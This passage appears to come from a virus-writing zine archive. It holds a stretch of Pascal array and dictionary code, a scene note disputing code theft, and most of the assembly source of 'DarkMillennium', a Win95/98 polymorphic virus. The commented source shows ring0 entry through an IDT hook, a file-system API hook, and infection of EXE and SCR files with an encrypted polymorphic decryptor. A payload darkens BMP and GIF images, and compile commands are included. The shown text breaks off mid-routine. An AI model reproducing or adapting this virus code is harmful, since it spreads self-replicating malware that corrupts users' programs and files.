recordsPerRow:=65520 div bytesPerRecord;
if recordsPerRow>items then recordsPerRow:=items;
n:=32768; shift:=15;
while (n>recordsPerRow) and (n>2) do begin n:=n div 2; dec(shift) end;
mask:=(1 shl shift) -1;
recordsPerRow:=n;
bytesPerRow:=recordsPerRow * bytesPerRecord;
lastRow:=items div recordsPerRow; (* first Row = 0 *)
maxRecordsInArray:=longint(lastRow+1) * longint(recordsPerRow);
lastRecord:=-1;
bytesInIndex:=(lastRow+1)*sizeOf(pointer);
GetMem(rowPtrNo,bytesInIndex);
for i:=0 to lastRow do
begin
GetMem(rowPtrNo^[i],bytesPerRow);
FillChar(rowPtrNo^[i]^,bytesPerRow,0)
end;
end
end;

procedure MemExpand(var a: longArray; items: longint);


var newLastRow,bytesInNewIndex,i: word;
newIndex_: anIndexPtr;
begin with memRec(a) do
begin
newLastRow:=(items) div recordsPerRow;
if newLastRow<=lastRow then exit;
bytesInNewIndex:=(newLastRow+1)*sizeOf(pointer);

GetMem(newIndex_,bytesInNewIndex);
Move(rowPtrNo^,newIndex_^,bytesInIndex);
FreeMem(rowPtrNo,bytesInIndex);
rowPtrNo:=newIndex_;
for i:=lastRow+1 to newLastRow do
begin
GetMem(rowPtrNo^[i],bytesPerRow);
FillChar(rowPtrNo^[i]^,bytesPerRow,0);
end;
lastRow:=newLastRow;
bytesInIndex:=bytesInNewIndex;
maxRecordsInArray:=(lastRow+1)*recordsPerRow;
end
end;

procedure memReadString(var a: longArray; var st: string);


var row,col,lgth: word;
stPtr: stringPtr;
begin with memRec(a) do
begin
row:= pos shr shift;
col:=(pos and mask);
stPtr:=addr(rowPtrNo^[row]^[col]);
lgth:=length(stPtr^)+1;
Move(stPtr^,st,lgth);
inc(pos,lgth);
end
end;

procedure memReadStringPtr(var a: longArray; var st: stringPtr);


var row,col: word;
begin with memRec(a) do
begin
row:= pos shr shift;
col:=(pos and mask);
st:=addr(rowPtrNo^[row]^[col]);
end
end;

procedure MemWriteString(var a: longArray; st: string);


var row,col,lgth: word;
begin with memRec(a) do
begin lgth:=length(st)+1;
row:= pos shr shift;
col:=(pos and mask);
if col+lgth>bytesPerRow-1
then
begin inc(row); col:=0;
if row>lastRow then
MemExpand(a,longint(row+1)*bytesPerRow);
end;
Move(st,rowPtrNo^[row]^[col],lgth);
lastRecord:=longint(row)*bytesPerRow+col+lgth-1;
pos:=lastRecord+1;
end
end;

procedure MemSeek(var a: longArray; item: longint);


begin with memRec(a) do
begin if (item<0) then Exit;
if (item>maxRecordsInArray) then MemExpand(a,item);
pos:=item;
end;
end;

procedure memMoveVar(var a: longArray; pos1,pos2,itemsToMove: longint);


var newlastRecord: longint;
itemsFromSource,itemsIntoTarget: word;
res, {Row of end of source }
rss, {Row of start of source }
ces, {Col of end of source }
ret, {Row of end of target }
cet {Col of end of target }
: word;
begin with MemRec(a) do
begin newlastRecord:=pos2+itemsToMove-1;
if newLastRecord<lastRecord then newLastRecord:=lastRecord;
lastRecord:=newLastRecord;
if newLastRecord>=maxRecordsInArray then
begin MemExpand(a,newlastRecord);
end;
rss:=pos1 div recordsPerRow;
inc(pos1,itemsToMove-1); inc(pos2,itemsToMove-1);
res:=pos1 div recordsPerRow;
ret:=pos2 div recordsPerRow;
ces:=pos1 mod recordsPerRow;
cet:=pos2 mod recordsPerRow;
repeat
if rss=res then
itemsFromSource:=itemsToMove
else itemsFromSource:=ces+1;
itemsIntoTarget:=cet+1;
if itemsFromSource>itemsIntoTarget
then itemsFromSource:=itemsIntoTarget;
Move(rowPtrNo^[res]^[bytesPerRecord*(ces+1-itemsFromSource)],
rowPtrNo^[ret]^[bytesPerRecord*(cet+1-itemsFromSource)],
itemsFromSource*bytesPerRecord);
dec(itemsToMove,itemsFromSource);
dec(pos1,itemsFromSource);
res:=pos1 div recordsPerRow;
ces:=pos1 mod recordsPerRow;
dec(pos2,itemsFromSource);
ret:=pos2 div recordsPerRow;
cet:=pos2 mod recordsPerRow;
until itemsToMove=0;
end
end;

procedure memPutVar(var a: longArray; var what);


var row,col: word;
dummy: byte absolute what;
begin with memRec(a) do
begin
if pos+1>maxRecordsInArray then BEGIN
MemExpand(a,pos);
END;
if pos>lastRecord then lastRecord:=pos;
row:= pos shr shift;
col:=(pos and mask) * bytesPerRecord;
Move(dummy,rowPtrNo^[row]^[col],bytesPerRecord);
end;
end;

procedure memInsertVar(var a: longArray; var what);


var row,col: word;
dummy: byte absolute what;
begin with memRec(a) do
begin if pos<=lastRecord
then memMoveVar(a,pos,pos+1,lastRecord-pos+1)
else
begin if pos+1>maxRecordsInArray then MemExpand(a,pos);
if pos>lastRecord then lastRecord:=pos;
end;
row:= pos shr shift;
col:=(pos and mask) * bytesPerRecord;
Move(dummy,rowPtrNo^[row]^[col],bytesPerRecord);
end;
end;

procedure MemRead(var a: longArray; var item);


var row,col: word; dummy: byte absolute item;
begin with MemRec(a) do
begin
if pos>lastRecord then FillChar(dummy,bytesPerRecord,0)
else
begin
row:= pos shr shift;
col:=(pos and mask) * bytesPerRecord;
Move(rowPtrNo^[row]^[col],dummy,bytesPerRecord);
inc(pos)
end
end
end;

procedure MemWrite(var a: longArray; var item);


var anon: byte absolute item;
begin with memRec(a) do
begin
if insertMode then MemInsertVar(a,anon)
else MemPutVar(a,anon);
inc(pos)
end;
end;

procedure MemPut(var a: longArray; var item);


var anon: byte absolute item;
begin with memRec(a) do
begin if insertMode then MemInsertVar(a,anon)
else MemPutVar(a,anon);
end;
end;

procedure MemSeekAndWrite(var a: longArray; i: longint; var item);


var anon: byte absolute item;
begin with memRec(a) do
begin pos:=i;
if insertMode then MemInsertVar(a,anon)
else MemPutVar(a,anon);
inc(pos);
end;
end;

procedure MemSeekAndRead(var a: longArray; i: longint; var item);


var row,col: word; dummy: byte absolute item;
begin with MemRec(a) do
begin pos:=i;
if pos>lastRecord then FillChar(dummy,bytesPerRecord,0)
else
begin
row:= pos shr shift;
col:=(pos and mask) * bytesPerRecord;
Move(rowPtrNo^[row]^[col],dummy,bytesPerRecord);
inc(pos)
end
end
end;

procedure MemSetInsertMode(var a: longArray; onOff: boolean);


begin memRec(a).insertMode:=onOff
end;

procedure MemClose;
begin
end;

procedure MemErase(var a: longArray);


var i: word;
begin with MemRec(a) do
begin for i:=lastRow downto 0 do
FreeMem(rowPtrNo^[i],bytesPerRow);
FreeMem(rowPtrNo,bytesInIndex);
end
end;

function MemLast(var a: longArray): longint;


begin MemLast:=memRec(a).lastRecord
end;

function MemFileSize(var a: longArray):longint;


begin MemFileSize:=memRec(a).lastRecord+1
end;

function MemFilePos(var a: longArray): longint;


begin MemFilePos:=memRec(a).pos
end;

procedure dicAssign(var d: dictionary; st: string);


begin with d do
begin name:=st;
memAssign(index,'index'); memAssign(corpus,'corpus');
end
end;

procedure dicRewrite(var d: dictionary; items: longint);


var null: string;
begin with d do
begin memRewrite(index,items,SizeOf(pointer));
memSetInsertMode(index,true);
items:=items*(expectedWordLength+5);
if items<256 then items:=256;
memRewrite(corpus,items,sizeOf(char));
memRec(index).dicPtr:=@d;
memRec(corpus).dicPtr:=@d;
end;
null:='';
dicPut(d,null);
end;

procedure dicClose;
begin
end;

procedure dicErase(var d: dictionary);


begin memErase(d.corpus); memErase(d.index)
end;

procedure dicFind(var d: dictionary; st: string; var foundPos: longint);


var lo,mid,hi,posInCorpus,oldPos: longint; found: boolean;
tmpPtr: stringPtr; tmp: string;
begin with d do
begin found:=false; lo:=0; hi:=memFileSize(index)-1;
oldPos:=memRec(corpus).pos;
while (lo<=hi) and not found do
begin mid:=(lo+hi) div 2;
memSeekAndRead(index,mid,posInCorpus);
memSeek(corpus,posInCorpus);
memReadStringPtr(corpus,tmpPtr);
tmp:=tmpPtr^;
GetFq(tmp,frequency);
if st>tmp then lo:=mid+1 else
if st<tmp then hi:=mid-1 else
if st=tmp then found:=true;
end;
if found then
begin FoundPos:=mid;
fqPtr:=longintPtr(longint(tmpPtr)+length(tmp)+1);
end
else foundPos:=-lo;
memRec(corpus).pos:=oldPos;
end;
end;

procedure dicPut(var d: dictionary; st: string);


var indexPos: longint;
begin with d do
begin
SetFq(st,1);
memWriteString(corpus,st);
indexPos:=memFileSize(corpus)-(length(st)+1);
memWrite(index,indexPos);
end
end;

procedure dicSeekAndWrite(var d: dictionary; i: longint; st: string);


var corpusPos: longint;
begin with d do
begin SetFq(st,1);
memWriteString(corpus,st);
corpusPos:=memFilePos(corpus)-(length(st)+1);
memSeekAndWrite(index,i,corpusPos);
end
end;

procedure dicWrite(var d: dictionary; st: string; var i: longint);


begin dicFind(d,st,i);
if i<0 then dicSeekAndWrite(d,-i,st)
else inc(d.fqPtr^);
end;
end.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[LGARRAY.PAS]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[COMMENT.TXT]ÄÄÄ
Black Cat has been accusing me about i stole his VSNG source code and i
used it to improve VS2000's speed. All this time i have been saying Black
Cat was lying, and now it's the time to prove it... Sorry for you Black
Cat, but you are going to be remembered as a big lamer and liar.

Here i release an optimized version of the VS2000 version i released in


29A #4. As you can see, the code is the same, the main modification is the
optimization of speed i got distributing the work in several dictionaries.

You can compare VS2000 8.88 speed, last version of official VS200, with
this version, and you will notice is the same. That means VS2000 never has
used any code from VSNG, as i have told many times already.

The question about if i stole Black Cat's code is finally over!

VirusBuster/29A
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[COMMENT.TXT]ÄÄÄ
; DarkMillennium Project
; developed by Clau / Ultimate Chaos
;
; The Project is a Win95/98 compatible virus.
; Also this is my first virus that infects PE files.
;
; Greets goes to all Ultimate Chaos members and all people in VX scene.
; Respect to all of you.
;
;----------------
; DESCRIPTION |
;----------------
;
; on program load :
; - it proccess a polymorphic decryptor
; - it is made in 2 parts
; - 1. Finding the key that encryption was made with (between 0 ... 65535)
; - 2. Decrypt the code with that key
; - check if it is already resident
; - if not, go into ring0
; - get memory with GetHeap
; - copy itself into allocated memory
; - hook the API (InstallFileSystemAPIhook)
; -return to host program
; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB
; - check if extension is EXE/SCR
; - check if the file format is PE
; - if so, infect the file
; - Generate random polymorphic decryptor, and write it to file
; - Encrypt the code with a simple XOR method using a random key witch is
never saved
; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and
write them
; into the file, until all the code is encrypted and written. This method is
slower,
; but low memory is used.
; - check for a condition and if it is true then display a message box trough VxD call
; payloads, the condition is the number of infected files be equal to
infected_nr_trigger
; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me
with this nice payload
; - on BMP and GIF open they will go darker and darker on every open
; - on some BMPs and GIFs the effect is more cool, I can say strange
;
;----------------------------------------
; Polymoprhic engine description |
;----------------------------------------
;
; This is my first poly engine.
; - random junk code
; - do nothing instructions (instructions that do not interfer with the decryptor)
; - they are 1, 2 or more bytes instructions, and more instructions combined
; - 1 byte - cmc, clc, stc, nop
; - 2 bytes - a range of INTs
; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions
; that are used in decryptor, without interfering with the decryptor (it use regs
; that are not used in decrypt process)
; - more ways to do the same thing instructions
; example : MOV EAX, 12345678h <=> PUSH 12345678h
; POP EAX
; - the decryptor size can be ~ 3 times bigger then the original decryptor
; - if the decryptor is smaller then the decryptor before, the space between it and the
encrypted code
; will be filled with junk.
;
;
; Compile with:
; tasm32 /m3 /ml darkmillennium.asm
; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib
;
; report any bugs to clau@ultimatechaos.org
;

.386p
.model flat

extrn ExitProcess:proc
extrn MessageBoxA:proc

VxDCall macro vxd_id, service_id


int 20h
dw service_id
dw vxd_id
endm

IFSMgr = 0040h ; VxD service


GetHeap = 000dh
InstallFileSystemAPIhook = 0067h
Ring0_FileIO = 0032h
UniToBCSPath = 0041h
IFSFN_OPEN = 36
IFSFN_RENAME = 37
IFSFN_FILEATTRIB = 33
R0_opencreatefile = 0d500h ; open/create file
R0_readfile = 0d600h ; read a file, no context
R0_writefile = 0d601h ; write to a file, no context
R0_closefile = 0d700h ; close a file
exception_int = 3
exe_ext = 'EXE.'
scr_ext = 'RCS.'
bmp_ext = 'PMB.'
gif_ext = 'FIG.'
virussize = _end - Start
virussize_plus_buffers = virussize + ( _end_2 - _end )
polyengine_size = _end - GenDecryptor
infected_nr_trigger = 200

.code

Begin:
push 64
push offset w_title
push offset copyright
push 0
call MessageBoxA
jmp Start

.data

;-------------------- Start Code -------------------

Start: call Delta


Delta: mov esi, esp
mov ebp, dword ptr ss:[esi]
sub ebp, offset Delta
pushad
lea esi, [ebp + key - Start] ; address of code key
add esi, offset Start
xor di, di ; key for decryption
find_loop: inc di
mov ax, [esi] ; load code key in eax
xor ax, di ; decrypt it with the key from edi
cmp ax, 9090h ; check if edi key is OK
jnz find_loop ; if not jump to find_loop

; now edi = the key for decryption


lea esi, [ebp + Encr_Code - Start]
add esi, offset Start
mov ecx, virussize
decr_loop: xor word ptr [esi], di
add esi, 2
sub ecx, 2
cmp ecx, 1
jg decr_loop

popad

; "alocate" space equal to current decryptor size, incase that the next generated
decryptors
; will be bigger, and it will be bigger then this one
; this space will be filled with random junk instructions
db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone

Encr_Code:
key dw 9090h
jmp virus_code

;-------------------- Data Zone -------------------

IDT_Address dq 0
flag db 0
newaddress dd 0
exception dd 0
old_offset dd 0
filename db 260 dup (0)
handle dd 0
crt_move dd 0
peheader dd 0
S_Align dd 0
F_Align dd 0
sec_ptr dd 0
Old_EIP dd 0
SOI dd 0
virusplace dd 0
imagebase dd 0
infected_files dw 0

SEH_nextpointer dd ?
SEH_oldpointer dd ?
SEH_errorhandler dd ?

IMAGE_DOS_HEADER struc
MZ_magic dw ?
MZ_cblp dw ?
MZ_cp dw ?
MZ_crlc dw ?
MZ_cparhdr dw ?
MZ_minalloc dw ?
MZ_maxalloc dw ?
MZ_ss dw ?
MZ_sp dw ?
MZ_csum dw ?
MZ_ip dw ?
MZ_cs dw ?
MZ_lfarlc dw ?
MZ_ovno dw ?
MZ_res dw 4 dup (?)
MZ_oemid dw ?
MZ_oeminfo dw ?
MZ_res2 dw 10 dup (?)
MZ_lfanew dd ?
IMAGE_DOS_HEADER ends
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER

IMAGE_FILE_HEADER struc
PE_Magic dd ?
Machine dw ?
NumberOfSections dw ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
Characteristics dw ?
IMAGE_FILE_HEADER ends
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER

IMAGE_DATA_DIRECTORY struc
dd_VirtualAddress dd ?
dd_Size dd ?
IMAGE_DATA_DIRECTORY ends

IMAGE_DIRECTORY_ENTRIES struc
DE_Export IMAGE_DATA_DIRECTORY ?
DE_Import IMAGE_DATA_DIRECTORY ?
DE_Resource IMAGE_DATA_DIRECTORY ?
DE_Exception IMAGE_DATA_DIRECTORY ?
DE_Security IMAGE_DATA_DIRECTORY ?
DE_BaseReloc IMAGE_DATA_DIRECTORY ?
DE_Debug IMAGE_DATA_DIRECTORY ?
DE_Copyright IMAGE_DATA_DIRECTORY ?
DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
DE_TLS IMAGE_DATA_DIRECTORY ?
DE_LoadConfig IMAGE_DATA_DIRECTORY ?
DE_BoundImport IMAGE_DATA_DIRECTORY ?
DE_IAT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRIES ends
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16

IMAGE_OPTIONAL_HEADER struc
OH_Magic dw ?
OH_MajorLinkerVersion db ?
OH_MinorLinkerVersion db ?
OH_SizeOfCode dd ?
OH_SizeOfInitializedData dd ?
OH_SizeOfUninitializedData dd ? ; Uninitialized Data
OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP
OH_BaseOfCode dd byte ptr ? ; Code Virtual Address
OH_BaseOfData dd byte ptr ? ; Data Virtual Address
OH_ImageBase dd byte ptr ? ; Base of image
OH_SectionAlignment dd ? ; Section Alignment
OH_FileAlignment dd ? ; File Alignment
OH_MajorOperatingSystemVersion dw ? ; Major OS
OH_MinorOperatingSystemVersion dw ? ; Minor OS
OH_MajorImageVersion dw ? ; Major Image version
OH_MinorImageVersion dw ? ; Minor Image version
OH_MajorSubsystemVersion dw ? ; Major Subsys version
OH_MinorSubsystemVersion dw ?
OH_Win32VersionValue dd ? ; win32 version
OH_SizeOfImage dd ? ; Size of image
OH_SizeOfHeaders dd ? ; Size of Header
OH_CheckSum dd ? ; unused
OH_Subsystem dw ? ; Subsystem
OH_DllCharacteristics dw ? ; DLL characteristic
OH_SizeOfStackReserve dd ? ; Stack reserve
OH_SizeOfStackCommit dd ? ; Stack commit
OH_SizeOfHeapReserve dd ? ; Heap reserve
OH_SizeOfHeapCommit dd ? ; Heap commit
OH_LoaderFlags dd ? ; Loader flags
OH_NumberOfRvaAndSizes dd ? ; Number of directories
UNION ; directory entries
OH_DataDirectory IMAGE_DATA_DIRECTORY\
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ends
ends
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER

IMAGE_SECTION_HEADER struc
SH_Name db 8 dup (?)
UNION
SH_PhusicalAddress dd byte ptr ?
SH_VirtualSize dd ?
ends
SH_VirtualAddress dd byte ptr ?
SH_SizeOfRawData dd ?
SH_PointerToRawData dd byte ptr ?
SH_PointerToRelocations dd byte ptr ?
SH_PointerToLinenumbers dd byte ptr ?
SH_NumberOfRelocations dw ?
SH_NumberOfLinenumbers dw ?
SH_Characteristics dd ?
IMAGE_SECTION_HEADER ends
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER

mz_header IMAGE_DOS_HEADER ?
pe_header IMAGE_FILE_HEADER ?
oh_header IMAGE_OPTIONAL_HEADER ?
section IMAGE_SECTION_HEADER ?

;-------------------- Real Code Zone ------------------

virus_code: mov eax, dword ptr fs:[00h]


mov dword ptr [ebp + SEH_nextpointer], eax
mov dword ptr [ebp + SEH_oldpointer], eax
lea eax, [ebp + return_to_host]
mov dword ptr [ebp + SEH_errorhandler], eax
lea eax, [ebp + SEH_nextpointer]
mov dword ptr fs:[00h], eax

sidt [ebp + IDT_Address]


mov esi, dword ptr [ebp + IDT_Address + 2]
add esi, exception_int * 8
mov dword ptr [ebp + exception], esi
mov bx, word ptr [esi + 6]
shl ebx, 10h
mov bx, word ptr [esi]
mov dword ptr [ebp + old_offset], ebx
lea eax, [ebp + offset Ring0]
mov word ptr [esi], ax
shr eax, 10h
mov word ptr [esi + 6], ax

mov eax, 0c000e990h


cmp dword ptr [eax], '2000'
jne go_into_ring0
jmp already_installed

go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode

already_installed: mov esi, dword ptr [ebp + exception]


mov ebx, dword ptr [ebp + old_offset]
mov word ptr [esi], bx
shr ebx, 10h
mov word ptr [esi + 6], bx

return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer]


mov dword ptr fs:[00h], eax

exit: cmp ebp, 0


je generation_1
mov eax, [ebp + Old_EIP]
add eax, [ebp + imagebase]
jmp eax

generation_1: push 0
call ExitProcess

Ring0 proc
pusha

; Get some memory


mov eax, virussize_plus_buffers + 100
push eax
patch1_val equ GetHeap + 256 * 256 * IFSMgr
patch1 label far
VxDCall IFSMgr, GetHeap
pop ecx
or eax, eax
jz no_free_mem

; Copy into memory


xchg eax, edi
lea esi, dword ptr [ebp + Start]
push edi
mov ecx, _end - Start
rep movsb
pop edi
mov dword ptr [ebp + newaddress], edi
mov dword ptr [edi + delta1 - Start], edi

; hook API
lea eax, [edi + API_hook - Start]
push eax
patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr
patch2 label far
VxDCall IFSMgr, InstallFileSystemAPIhook
pop ebx
mov [edi + nexthook - Start], eax
jmp success

no_free_mem: jmp back_to_ring3

success: mov eax, 0c000e990h


mov dword ptr [eax], '2000'
mov byte ptr [edi + flag - Start], 0

back_to_ring3: popad
iretd
Ring0 endp

API_hook: push ebp


mov ebp, esp
sub esp, 20h

push ebx
push esi
push edi

db 0bfh
delta1 dd 0

cmp byte ptr [edi + flag - Start], 1


je over_now

cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action


je action_ok
cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action
je action_ok
cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action
je action_ok
jmp over_now

action_ok: mov byte ptr [edi + flag - Start], 1


pusha
lea esi, [edi + filename - Start]

mov eax, [ebp + 16]


cmp al, 0ffh
je no_path
add al, 40h
mov byte ptr [esi], al
inc esi
mov byte ptr [esi], ':'
inc esi
mov byte ptr [esi], '\'

; Unicode conversion
no_path: push 0 ; BCS/WANSI code
push 260 ; maximum filename
mov eax, [ebp + 28] ; get IOREQ
mov eax, [eax + 12]
add eax, 4
push eax ; push filename
push esi ; push destination

patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr


patch3 label far
VxDCall IFSMgr, UniToBCSPath
add esp, 4 * 4
add esi, eax
mov byte ptr [esi], 0

; Check extension for '.EXE'


cmp dword ptr [esi - 4], exe_ext
je check_2

; Check extension for '.BMP'


cmp dword ptr [esi - 4], bmp_ext
jne check_gif_ext
call bmp_Payload

; Check extension for '.GIF'


check_gif_ext:
cmp dword ptr [esi - 4], gif_ext
jne check_scr_ext
call gif_Payload

; Check extension for '.SCR' = screensaver


check_scr_ext:
cmp dword ptr [esi - 4], scr_ext
jne not_exe

; Open the file


check_2: lea esi, [edi + filename - Start]
call file_open
jc not_exe
mov dword ptr [edi + handle - Start], eax

; Read DOS header


lea esi, [edi + mz_header - Start]
mov ebx, dword ptr [edi + handle - Start]
mov ecx, IMAGE_DOS_HEADER_SIZE
mov edx, 0
call file_read

; Check if really EXE file ( 'MZ' signature )


lea esi, [edi + mz_header - Start]
mov ax, word ptr [esi.MZ_magic]
cmp ax, 5a4dh
jne fileclose

; Locate the PE header


mov esi, dword ptr [esi.MZ_lfanew]
cmp esi, 500h
ja fileclose

; Save the pos of the PE header


mov dword ptr [edi + crt_move - Start], esi
mov dword ptr [edi + peheader - Start], esi

; Read the PE header


lea edx, [edi + pe_header - Start]
mov ebx, dword ptr [edi + handle - Start]
mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
xchg esi, edx
call file_read

add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE +


IMAGE_OPTIONAL_HEADER_SIZE

; Check for 'PE' signature


lea esi, [edi + pe_header - Start]
mov eax, dword ptr [esi.PE_Magic]
cmp eax, 00004550h
jne fileclose

; Check for DLL signature


cmp dword ptr [esi.Characteristics], 2000h
je fileclose

; Locate the last section and read it


xor eax, eax
mov ax, word ptr [esi.NumberOfSections]
mov ecx, IMAGE_SECTION_HEADER_SIZE
dec eax
mul ecx
mov esi, eax
add esi, dword ptr [edi + crt_move - Start]
mov dword ptr [edi + sec_ptr - Start], esi

; Read the last section


lea edx, [edi + section - Start]
mov ecx, IMAGE_SECTION_HEADER_SIZE
mov ebx, dword ptr [edi + handle - Start]
xchg esi, edx
call file_read

; Verify if already infected


lea esi, [edi +oh_header - Start]
cmp dword ptr [esi.OH_Win32VersionValue], '2000'
je fileclose

mov eax, dword ptr [esi.OH_SectionAlignment]


mov [edi + S_Align - Start], eax
mov eax, dword ptr [esi.OH_FileAlignment]
mov [edi + F_Align - Start], eax
mov eax, dword ptr [esi.OH_AddressOfEntryPoint]
mov [edi + Old_EIP - Start], eax
mov eax, dword ptr [esi.OH_SizeOfImage]
mov [edi + SOI - Start], eax
mov eax, dword ptr [esi.OH_ImageBase]
mov [edi + imagebase - Start], eax

; Update the section


lea esi, [edi + section - Start]
mov eax, dword ptr [esi.SH_PointerToRawData]
add eax, dword ptr [esi.SH_VirtualSize]
mov dword ptr [edi + virusplace - Start], eax
mov eax, dword ptr [edi.SH_SizeOfRawData]
add eax, virussize
mov ecx, dword ptr [edi + F_Align - Start]
push eax
push ecx
xor edx, edx
div ecx
pop ecx
sub ecx, edx
pop eax
add eax, ecx
mov dword ptr [esi.SH_SizeOfRawData], eax
mov eax, dword ptr [esi.SH_VirtualSize]
add eax, virussize
mov dword ptr [esi.SH_VirtualSize], eax

; Set the new characteristics for the section


or dword ptr [esi.SH_Characteristics], 00000020h ; code
or dword ptr [esi.SH_Characteristics], 20000000h ; executable
or dword ptr [esi.SH_Characteristics], 80000000h ; writable

; Update the PE header


; first the size of image wich is aligned to section alignment
lea esi, [edi + oh_header - Start]
mov eax, dword ptr [edi + SOI - Start]
add eax, virussize
mov ecx, dword ptr [edi + S_Align - Start]
push eax
push ecx
xor edx, edx
div ecx
pop ecx
sub ecx, edx
pop eax
add eax, ecx
mov dword ptr [esi.OH_SizeOfImage], eax

; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size -
Virus Size )
lea esi, [edi + section - Start]
mov eax, dword ptr [esi.SH_VirtualAddress]
add eax, dword ptr [esi.SH_VirtualSize]
sub eax, virussize
lea esi, [edi + oh_header - Start]
mov dword ptr [esi.OH_AddressOfEntryPoint], eax

; Mark the infection


mov dword ptr [esi.OH_Win32VersionValue], '2000'

; Write section to file


lea edx, [edi + section - Start]
mov ecx, IMAGE_SECTION_HEADER_SIZE
mov ebx, dword ptr [edi + handle - Start]
mov esi, dword ptr [edi + sec_ptr - Start]
xchg edx, esi
call file_write

; Write headers to file


lea edx, [edi + pe_header - Start]
mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
mov ebx, dword ptr [edi + handle - Start]
mov esi, dword ptr [edi + peheader - Start]
xchg edx, esi
call file_write

; Patch the code


mov cx, 20cdh
mov word ptr [edi + patch1 - Start], cx
mov eax, patch1_val
mov dword ptr [edi + patch1 - Start + 2], eax
mov word ptr [edi + patch2 - Start], cx
mov eax, patch2_val
mov dword ptr [edi + patch2 - Start + 2], eax
mov word ptr [edi + patch3 - Start], cx
mov eax, patch3_val
mov dword ptr [edi + patch3 - Start + 2], eax
mov word ptr [edi + patch4 - Start], cx
mov eax, patch4_val
mov dword ptr [edi + patch4 - Start + 2], eax
mov word ptr [edi + patch5 - Start], cx
mov eax, patch5_val
mov dword ptr [edi + patch5 - Start + 2], eax

; reset the infected_files counter


mov ax, 0
mov word ptr [edi + infected_files - Start], ax

; Generate decryptor
pushad
mov ebp, edi
call GenDecryptor
popad

; Call Payload
call Payload

; Write decryptor
mov edx, edi
mov ecx, Encr_Code - Start
mov ebx, dword ptr [edi + handle - Start]
mov esi, dword ptr [edi + virusplace - Start]
xchg edx, esi
call file_write

mov edx, dword ptr [edi + virusplace - Start]


add edx, Encr_Code - Start
mov dword ptr [edi + virusplace - Start], edx ; update virusplace

; Get random key for encryption in cx


mov eax, 0FFFFh
call random_in_range ; will return in ax a random number
xchg ax, cx

; Write encrypted area to file


lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt
xor eax, eax ; counter

write_loop: call copy_in_buffer


inc edx
inc edx

push eax ; save counter


push ecx ; save the key
push edx ; save location pointer in code

; Write buffer in file


mov ebx, dword ptr [edi + handle - Start]
mov ecx, 2
mov edx, dword ptr [edi + virusplace - Start]
lea esi, [edi + encryption_buffer - Start]
call file_write

mov edx, dword ptr [edi + virusplace - Start]


inc edx
inc edx
mov dword ptr [edi + virusplace - Start], edx

pop edx ; restore loc. pointer


pop ecx ; restore the key
pop eax ; restore counter
inc eax
inc eax
cmp eax, _end - Encr_Code
jle write_loop

; Close the file


fileclose: mov ebx, dword ptr [edi + handle - Start]
call file_close

not_exe: popa

over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0


mov eax, [ebp + 28]
push eax
mov eax, [ebp + 24]
push eax
mov eax, [ebp + 20]
push eax
mov eax, [ebp + 16]
push eax
mov eax, [ebp + 12]
push eax
mov eax, [ebp + 08]
push eax

db 0b8h
nexthook dd 0
call [eax]

add esp, 6 * 4

pop edi
pop esi
pop ebx

leave
ret

; Copy a word from code in encryption_buffer and encrypt it


; cx = key for encryption
; edx = pointer in code
copy_in_buffer proc
pushad
mov bx, word ptr [edx]
xor bx, cx
mov [edi + encryption_buffer - Start], bx
popad
ret

encryption_buffer dw 0

copy_in_buffer endp

get_rnd proc
push bx
xor bx, ax
xor bx, cx
xor bx, dx
xor bx, sp
xor bx, bp
xor bx, si
xor bx, di
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
xchg bx, ax
pop bx
ret
get_rnd endp

; Ring0 File_IO
;-------------------------
Ring0_File_IO proc
patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr
patch4 label far
VxDCall IFSMgr, Ring0_FileIO
ret
